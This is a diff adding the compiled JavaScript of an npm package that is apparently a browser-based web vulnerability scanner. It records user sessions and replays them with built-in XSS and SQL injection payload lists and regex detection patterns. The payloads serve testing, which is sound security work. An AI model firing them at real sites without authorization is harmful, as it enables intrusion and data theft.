@vulcn/engine 0.1.0

package/dist/index.js

@@ -0,0 +1,683 @@
+// session.ts
+import { z } from "zod";
+import { parse, stringify } from "yaml";
+var StepSchema = z.discriminatedUnion("type", [
+  z.object({
+    id: z.string(),
+    type: z.literal("navigate"),
+    url: z.string(),
+    timestamp: z.number()
+  }),
+  z.object({
+    id: z.string(),
+    type: z.literal("click"),
+    selector: z.string(),
+    position: z.object({ x: z.number(), y: z.number() }).optional(),
+    timestamp: z.number()
+  }),
+  z.object({
+    id: z.string(),
+    type: z.literal("input"),
+    selector: z.string(),
+    value: z.string(),
+    injectable: z.boolean().optional().default(true),
+    timestamp: z.number()
+  }),
+  z.object({
+    id: z.string(),
+    type: z.literal("keypress"),
+    key: z.string(),
+    modifiers: z.array(z.string()).optional(),
+    timestamp: z.number()
+  }),
+  z.object({
+    id: z.string(),
+    type: z.literal("scroll"),
+    selector: z.string().optional(),
+    position: z.object({ x: z.number(), y: z.number() }),
+    timestamp: z.number()
+  }),
+  z.object({
+    id: z.string(),
+    type: z.literal("wait"),
+    duration: z.number(),
+    timestamp: z.number()
+  })
+]);
+var SessionSchema = z.object({
+  version: z.string().default("1"),
+  name: z.string(),
+  recordedAt: z.string(),
+  browser: z.enum(["chromium", "firefox", "webkit"]).default("chromium"),
+  viewport: z.object({
+    width: z.number(),
+    height: z.number()
+  }),
+  startUrl: z.string(),
+  steps: z.array(StepSchema)
+});
+function createSession(options) {
+  return {
+    version: "1",
+    name: options.name,
+    recordedAt: (/* @__PURE__ */ new Date()).toISOString(),
+    browser: options.browser ?? "chromium",
+    viewport: options.viewport ?? { width: 1280, height: 720 },
+    startUrl: options.startUrl,
+    steps: []
+  };
+}
+function parseSession(yaml) {
+  const data = parse(yaml);
+  return SessionSchema.parse(data);
+}
+function serializeSession(session) {
+  return stringify(session, { lineWidth: 0 });
+}
+
+// browser.ts
+import { chromium, firefox, webkit } from "playwright";
+import { exec } from "child_process";
+import { promisify } from "util";
+var execAsync = promisify(exec);
+var BrowserNotFoundError = class extends Error {
+  constructor(message) {
+    super(message);
+    this.name = "BrowserNotFoundError";
+  }
+};
+async function launchBrowser(options = {}) {
+  const browserType = options.browser ?? "chromium";
+  const headless = options.headless ?? false;
+  if (browserType === "chromium") {
+    try {
+      const browser = await chromium.launch({
+        channel: "chrome",
+        headless
+      });
+      return { browser, channel: "chrome" };
+    } catch {
+    }
+    try {
+      const browser = await chromium.launch({
+        channel: "msedge",
+        headless
+      });
+      return { browser, channel: "msedge" };
+    } catch {
+    }
+    try {
+      const browser = await chromium.launch({ headless });
+      return { browser, channel: "chromium" };
+    } catch {
+      throw new BrowserNotFoundError(
+        "No Chromium browser found. Install Chrome or run: vulcn install chromium"
+      );
+    }
+  }
+  if (browserType === "firefox") {
+    try {
+      const browser = await firefox.launch({ headless });
+      return { browser, channel: "firefox" };
+    } catch {
+      throw new BrowserNotFoundError(
+        "Firefox not found. Run: vulcn install firefox"
+      );
+    }
+  }
+  if (browserType === "webkit") {
+    try {
+      const browser = await webkit.launch({ headless });
+      return { browser, channel: "webkit" };
+    } catch {
+      throw new BrowserNotFoundError(
+        "WebKit not found. Run: vulcn install webkit"
+      );
+    }
+  }
+  throw new BrowserNotFoundError(`Unknown browser type: ${browserType}`);
+}
+async function installBrowsers(browsers = ["chromium"]) {
+  const browserArg = browsers.join(" ");
+  await execAsync(`npx playwright install ${browserArg}`);
+}
+async function checkBrowsers() {
+  const results = {
+    systemChrome: false,
+    systemEdge: false,
+    playwrightChromium: false,
+    playwrightFirefox: false,
+    playwrightWebkit: false
+  };
+  try {
+    const browser = await chromium.launch({
+      channel: "chrome",
+      headless: true
+    });
+    await browser.close();
+    results.systemChrome = true;
+  } catch {
+  }
+  try {
+    const browser = await chromium.launch({
+      channel: "msedge",
+      headless: true
+    });
+    await browser.close();
+    results.systemEdge = true;
+  } catch {
+  }
+  try {
+    const browser = await chromium.launch({ headless: true });
+    await browser.close();
+    results.playwrightChromium = true;
+  } catch {
+  }
+  try {
+    const browser = await firefox.launch({ headless: true });
+    await browser.close();
+    results.playwrightFirefox = true;
+  } catch {
+  }
+  try {
+    const browser = await webkit.launch({ headless: true });
+    await browser.close();
+    results.playwrightWebkit = true;
+  } catch {
+  }
+  return results;
+}
+
+// recorder.ts
+var Recorder = class _Recorder {
+  /**
+   * Start a new recording session
+   * Opens a browser window for the user to interact with
+   */
+  static async start(startUrl, options = {}) {
+    const browserType = options.browser ?? "chromium";
+    const viewport = options.viewport ?? { width: 1280, height: 720 };
+    const headless = options.headless ?? false;
+    const { browser } = await launchBrowser({
+      browser: browserType,
+      headless
+    });
+    const context = await browser.newContext({ viewport });
+    const page = await context.newPage();
+    await page.goto(startUrl);
+    const session = createSession({
+      name: `Recording ${(/* @__PURE__ */ new Date()).toISOString()}`,
+      startUrl,
+      browser: browserType,
+      viewport
+    });
+    const startTime = Date.now();
+    const steps = [];
+    let stepCounter = 0;
+    const generateStepId = () => {
+      stepCounter++;
+      return `step_${String(stepCounter).padStart(3, "0")}`;
+    };
+    steps.push({
+      id: generateStepId(),
+      type: "navigate",
+      url: startUrl,
+      timestamp: 0
+    });
+    _Recorder.attachListeners(page, steps, startTime, generateStepId);
+    return {
+      async stop() {
+        session.steps = steps;
+        await browser.close();
+        return session;
+      },
+      getSteps() {
+        return [...steps];
+      },
+      getPage() {
+        return page;
+      }
+    };
+  }
+  static attachListeners(page, steps, startTime, generateStepId) {
+    const getTimestamp = () => Date.now() - startTime;
+    page.on("framenavigated", (frame) => {
+      if (frame === page.mainFrame()) {
+        const url = frame.url();
+        const lastStep = steps[steps.length - 1];
+        if (steps.length > 0 && lastStep.type === "navigate" && lastStep.url === url) {
+          return;
+        }
+        steps.push({
+          id: generateStepId(),
+          type: "navigate",
+          url,
+          timestamp: getTimestamp()
+        });
+      }
+    });
+    page.exposeFunction(
+      "__vulcn_record",
+      (event) => {
+        const timestamp = getTimestamp();
+        switch (event.type) {
+          case "click": {
+            const data = event.data;
+            steps.push({
+              id: generateStepId(),
+              type: "click",
+              selector: data.selector,
+              position: { x: data.x, y: data.y },
+              timestamp
+            });
+            break;
+          }
+          case "input": {
+            const data = event.data;
+            steps.push({
+              id: generateStepId(),
+              type: "input",
+              selector: data.selector,
+              value: data.value,
+              injectable: data.injectable,
+              timestamp
+            });
+            break;
+          }
+          case "keypress": {
+            const data = event.data;
+            steps.push({
+              id: generateStepId(),
+              type: "keypress",
+              key: data.key,
+              modifiers: data.modifiers,
+              timestamp
+            });
+            break;
+          }
+        }
+      }
+    );
+    page.on("load", async () => {
+      await _Recorder.injectRecordingScript(page);
+    });
+    _Recorder.injectRecordingScript(page);
+  }
+  static async injectRecordingScript(page) {
+    await page.evaluate(`
+      (function() {
+        if (window.__vulcn_injected) return;
+        window.__vulcn_injected = true;
+
+        var textInputTypes = ['text', 'password', 'email', 'search', 'url', 'tel', 'number'];
+
+        function getSelector(el) {
+          if (el.id) {
+            return '#' + CSS.escape(el.id);
+          }
+          if (el.name) {
+            var tag = el.tagName.toLowerCase();
+            var nameSelector = tag + '[name="' + el.name + '"]';
+            if (document.querySelectorAll(nameSelector).length === 1) {
+              return nameSelector;
+            }
+          }
+          if (el.dataset && el.dataset.testid) {
+            return '[data-testid="' + el.dataset.testid + '"]';
+          }
+          if (el.tagName === 'INPUT' && el.type && el.name) {
+            var inputSelector = 'input[type="' + el.type + '"][name="' + el.name + '"]';
+            if (document.querySelectorAll(inputSelector).length === 1) {
+              return inputSelector;
+            }
+          }
+          if (el.className && typeof el.className === 'string') {
+            var classes = el.className.trim().split(/\\s+/).filter(function(c) { return c.length > 0; });
+            if (classes.length > 0) {
+              var classSelector = el.tagName.toLowerCase() + '.' + classes.map(function(c) { return CSS.escape(c); }).join('.');
+              if (document.querySelectorAll(classSelector).length === 1) {
+                return classSelector;
+              }
+            }
+          }
+          var path = [];
+          var current = el;
+          while (current && current !== document.body) {
+            var tag = current.tagName.toLowerCase();
+            var parent = current.parentElement;
+            if (parent) {
+              var siblings = Array.from(parent.children).filter(function(c) { return c.tagName === current.tagName; });
+              if (siblings.length > 1) {
+                var index = siblings.indexOf(current) + 1;
+                tag = tag + ':nth-of-type(' + index + ')';
+              }
+            }
+            path.unshift(tag);
+            current = parent;
+          }
+          return path.join(' > ');
+        }
+
+        function getInputType(el) {
+          if (el.tagName === 'INPUT') return el.type || 'text';
+          if (el.tagName === 'TEXTAREA') return 'textarea';
+          if (el.tagName === 'SELECT') return 'select';
+          return null;
+        }
+
+        function isTextInjectable(el) {
+          var inputType = getInputType(el);
+          if (!inputType) return false;
+          if (inputType === 'textarea') return true;
+          if (inputType === 'select') return false;
+          return textInputTypes.indexOf(inputType) !== -1;
+        }
+
+        document.addEventListener('click', function(e) {
+          var target = e.target;
+          window.__vulcn_record({
+            type: 'click',
+            data: {
+              selector: getSelector(target),
+              x: e.clientX,
+              y: e.clientY
+            }
+          });
+        }, true);
+
+        document.addEventListener('change', function(e) {
+          var target = e.target;
+          if ('value' in target) {
+            var inputType = getInputType(target);
+            window.__vulcn_record({
+              type: 'input',
+              data: {
+                selector: getSelector(target),
+                value: target.value,
+                inputType: inputType,
+                injectable: isTextInjectable(target)
+              }
+            });
+          }
+        }, true);
+
+        document.addEventListener('keydown', function(e) {
+          if (e.ctrlKey || e.metaKey || e.altKey) {
+            var modifiers = [];
+            if (e.ctrlKey) modifiers.push('ctrl');
+            if (e.metaKey) modifiers.push('meta');
+            if (e.altKey) modifiers.push('alt');
+            if (e.shiftKey) modifiers.push('shift');
+
+            window.__vulcn_record({
+              type: 'keypress',
+              data: {
+                key: e.key,
+                modifiers: modifiers
+              }
+            });
+          }
+        }, true);
+      })();
+    `);
+  }
+};
+
+// payloads.ts
+var BUILTIN_PAYLOADS = {
+  "xss-basic": {
+    name: "xss-basic",
+    category: "xss",
+    description: "Basic XSS payloads with script tags and event handlers",
+    payloads: [
+      '<script>alert("XSS")</script>',
+      '<img src=x onerror=alert("XSS")>',
+      '"><script>alert("XSS")</script>',
+      "javascript:alert('XSS')",
+      '<svg onload=alert("XSS")>'
+    ],
+    detectPatterns: [
+      /<script[^>]*>alert\(/i,
+      /onerror\s*=\s*alert\(/i,
+      /onload\s*=\s*alert\(/i,
+      /javascript:alert\(/i
+    ]
+  },
+  "xss-event": {
+    name: "xss-event",
+    category: "xss",
+    description: "XSS via event handlers",
+    payloads: [
+      '" onfocus="alert(1)" autofocus="',
+      "' onmouseover='alert(1)'",
+      '<body onload=alert("XSS")>',
+      "<input onfocus=alert(1) autofocus>",
+      "<marquee onstart=alert(1)>"
+    ],
+    detectPatterns: [
+      /onfocus\s*=\s*["']?alert/i,
+      /onmouseover\s*=\s*["']?alert/i,
+      /onload\s*=\s*["']?alert/i,
+      /onstart\s*=\s*["']?alert/i
+    ]
+  },
+  "xss-svg": {
+    name: "xss-svg",
+    category: "xss",
+    description: "XSS via SVG elements",
+    payloads: [
+      '<svg/onload=alert("XSS")>',
+      "<svg><script>alert(1)</script></svg>",
+      "<svg><animate onbegin=alert(1)>",
+      "<svg><set onbegin=alert(1)>"
+    ],
+    detectPatterns: [
+      /<svg[^>]*onload\s*=/i,
+      /<svg[^>]*>.*<script>/i,
+      /onbegin\s*=\s*alert/i
+    ]
+  },
+  "sqli-basic": {
+    name: "sqli-basic",
+    category: "sqli",
+    description: "Basic SQL injection payloads",
+    payloads: [
+      "' OR '1'='1",
+      "' OR '1'='1' --",
+      "1' OR '1'='1",
+      "admin'--",
+      "' UNION SELECT NULL--"
+    ],
+    detectPatterns: [
+      /sql.*syntax/i,
+      /mysql.*error/i,
+      /ORA-\d{5}/i,
+      /pg_query/i,
+      /sqlite.*error/i,
+      /unclosed.*quotation/i
+    ]
+  },
+  "sqli-error": {
+    name: "sqli-error",
+    category: "sqli",
+    description: "SQL injection payloads to trigger errors",
+    payloads: ["'", "''", "`", '"', "')", `'"`, "1' AND '1'='2", "1 AND 1=2"],
+    detectPatterns: [
+      /sql.*syntax/i,
+      /mysql.*error/i,
+      /ORA-\d{5}/i,
+      /postgresql.*error/i,
+      /sqlite.*error/i,
+      /quoted.*string.*properly.*terminated/i
+    ]
+  },
+  "sqli-blind": {
+    name: "sqli-blind",
+    category: "sqli",
+    description: "Blind SQL injection payloads",
+    payloads: [
+      "1' AND SLEEP(5)--",
+      "1; WAITFOR DELAY '0:0:5'--",
+      "1' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"
+    ],
+    detectPatterns: [
+      // Blind SQLi is detected by timing, not content
+    ]
+  }
+};
+function getPayload(name) {
+  return BUILTIN_PAYLOADS[name];
+}
+function getPayloadNames() {
+  return Object.keys(BUILTIN_PAYLOADS);
+}
+function getPayloadsByCategory(category) {
+  return Object.values(BUILTIN_PAYLOADS).filter((p) => p.category === category);
+}
+
+// runner.ts
+var Runner = class _Runner {
+  /**
+   * Execute a session with security payloads
+   */
+  static async execute(session, payloadNames, options = {}) {
+    const browserType = options.browser ?? session.browser ?? "chromium";
+    const headless = options.headless ?? true;
+    const startTime = Date.now();
+    const findings = [];
+    const errors = [];
+    let payloadsTested = 0;
+    const { browser } = await launchBrowser({
+      browser: browserType,
+      headless
+    });
+    const context = await browser.newContext({ viewport: session.viewport });
+    const page = await context.newPage();
+    try {
+      const injectableSteps = session.steps.filter(
+        (step) => step.type === "input" && step.injectable !== false
+      );
+      const allPayloads = [];
+      for (const name of payloadNames) {
+        const payload = BUILTIN_PAYLOADS[name];
+        if (payload) {
+          for (const value of payload.payloads) {
+            allPayloads.push({ name, value });
+          }
+        }
+      }
+      for (const injectableStep of injectableSteps) {
+        for (const payload of allPayloads) {
+          try {
+            const finding = await _Runner.replayWithPayload(
+              page,
+              session,
+              injectableStep,
+              payload.name,
+              payload.value
+            );
+            if (finding) {
+              findings.push(finding);
+              options.onFinding?.(finding);
+            }
+            payloadsTested++;
+          } catch (err) {
+            errors.push(`${injectableStep.id}: ${String(err)}`);
+          }
+        }
+      }
+    } finally {
+      await browser.close();
+    }
+    return {
+      findings,
+      stepsExecuted: session.steps.length,
+      payloadsTested,
+      duration: Date.now() - startTime,
+      errors
+    };
+  }
+  static async replayWithPayload(page, session, targetStep, payloadName, payloadValue) {
+    await page.goto(session.startUrl);
+    for (const step of session.steps) {
+      if (step.type === "navigate") {
+        await page.goto(step.url);
+      } else if (step.type === "click") {
+        await page.click(step.selector, { timeout: 5e3 });
+      } else if (step.type === "input") {
+        const value = step.id === targetStep.id ? payloadValue : step.value;
+        await page.fill(step.selector, value, { timeout: 5e3 });
+      } else if (step.type === "keypress") {
+        const modifiers = step.modifiers ?? [];
+        for (const mod of modifiers) {
+          await page.keyboard.down(mod);
+        }
+        await page.keyboard.press(step.key);
+        for (const mod of modifiers.reverse()) {
+          await page.keyboard.up(mod);
+        }
+      }
+      if (step.id === targetStep.id) {
+        const finding = await _Runner.checkForVulnerability(
+          page,
+          targetStep,
+          payloadName,
+          payloadValue
+        );
+        if (finding) {
+          return finding;
+        }
+      }
+    }
+    return void 0;
+  }
+  static async checkForVulnerability(page, step, payloadName, payloadValue) {
+    const payload = BUILTIN_PAYLOADS[payloadName];
+    if (!payload) return void 0;
+    const content = await page.content();
+    for (const pattern of payload.detectPatterns) {
+      if (pattern.test(content)) {
+        return {
+          type: payload.category,
+          severity: payload.category === "xss" ? "high" : "critical",
+          title: `${payload.category.toUpperCase()} vulnerability detected`,
+          description: `Payload was reflected in page content`,
+          stepId: step.id,
+          payload: payloadValue,
+          url: page.url(),
+          evidence: content.match(pattern)?.[0]
+        };
+      }
+    }
+    if (content.includes(payloadValue)) {
+      return {
+        type: payload.category,
+        severity: "medium",
+        title: `Potential ${payload.category.toUpperCase()} - payload reflection`,
+        description: `Payload was reflected in page without encoding`,
+        stepId: step.id,
+        payload: payloadValue,
+        url: page.url()
+      };
+    }
+    return void 0;
+  }
+};
+export {
+  BUILTIN_PAYLOADS,
+  BrowserNotFoundError,
+  Recorder,
+  Runner,
+  SessionSchema,
+  StepSchema,
+  checkBrowsers,
+  createSession,
+  getPayload,
+  getPayloadNames,
+  getPayloadsByCategory,
+  installBrowsers,
+  launchBrowser,
+  parseSession,
+  serializeSession
+};
+//# sourceMappingURL=index.js.map